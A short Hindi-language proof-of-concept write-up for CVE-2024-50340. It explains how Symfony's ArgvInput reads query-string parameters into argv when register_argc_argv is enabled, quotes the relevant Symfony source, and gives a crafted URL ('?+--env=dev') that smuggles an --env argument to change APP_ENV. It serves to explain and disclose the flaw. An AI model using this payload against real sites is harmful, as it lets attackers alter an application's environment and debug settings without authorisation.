
CVE-2024-50340 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Symfony ArgvInput में क्राफ्टेड URL क्वेरी पैरामीटर्स के जरिए एनवायरनमेंट वेरिएबल इंजेक्शन प्रदर्शित करता है, जिससे APP_ENV और APP_DEBUG में हेरफेर संभव होता है।
PHP कॉन्फ़िगरेशन फ़ाइल (php.ini) में register_argc_argv विकल्प सक्षम होना चाहिए। यह सेटिंग कमांड-लाइन तर्कों और क्वेरी पैरामीटर्स को $_SERVER['argv'] में लोड करती है। https://www.php.net/manual/en/ini.core.php#ini.register-argc-argv
यह Symfony कोड कुछ पर्यावरण चरों, विशेष रूप से APP_ENV और APP_DEBUG के मान निर्धारित करने के लिए इनपुट तर्कों (ArgvInput) का उपयोग करता है। यहाँ Symfony कोड के प्रासंगिक भाग दिए गए हैं:
//Symfony\Component\Runtime\SymfonyRuntime
$input = new ArgvInput();
if (isset($this->options['env'])) {
return $this->input = $input;
}
if (null !== $env = $input->getParameterOption(['--env', '-e'], null, true)) {
putenv($this->options['env_var_name'].'='.$_SERVER[$this->options['env_var_name']] = $_ENV[$this->options['env_var_name']] = $env);
}
if ($input->hasParameterOption('--no-debug', true)) {
putenv($this->options['debug_var_name'].'='.$_SERVER[$this->options['debug_var_name']] = $_ENV[$this->options['debug_var_name']] = '0');
}
उपरोक्त कोड ArgvInput के माध्यम से प्रदान किए गए तर्कों को संसाधित करता है। यदि argv में --env पैरामीटर निर्दिष्ट है, तो यह तदनुसार पर्यावरण चर APP_ENV को अपडेट करता है। इसी प्रकार, यदि --no-debug मौजूद है, तो यह APP_DEBUG को 0 पर सेट करता है।
ArgvInput वर्ग argv पैरामीटर्स को आरंभ करता है जो कमांड लाइन, क्वेरी पैरामीटर्स या डिफ़ॉल्ट रूप से $_SERVER['argv'] में मौजूद होते हैं। array_shift($argv); फ़ंक्शन $argv ऐरे से पहला तत्व (सामान्यतः एप्लिकेशन का नाम) हटाता है और शेष तर्कों को $this->tokens में संग्रहीत करता है।
//Symfony\Component\Console\Input\ArgvInput
public function __construct(?array $argv = null, ?InputDefinition $definition = null)
{
$argv ??= $_SERVER['argv'] ?? [];
// strip the application name
array_shift($argv);
$this->tokens = $argv;
parent::__construct($definition);
}
निम्नलिखित URL का उपयोग करके: http://localhost/?+--env=dev, हम $_SERVER['argv'] में एक --env=dev तर्क इंजेक्ट कर सकते हैं। यह हमें एप्लिकेशन के कॉन्फ़िगरेशन को सीधे बदले बिना APP_ENV मान को dev में बदलने की अनुमति देता है।
$_SERVER['argv'] = ["+--env=dev"];
$argv = ["--env=dev"];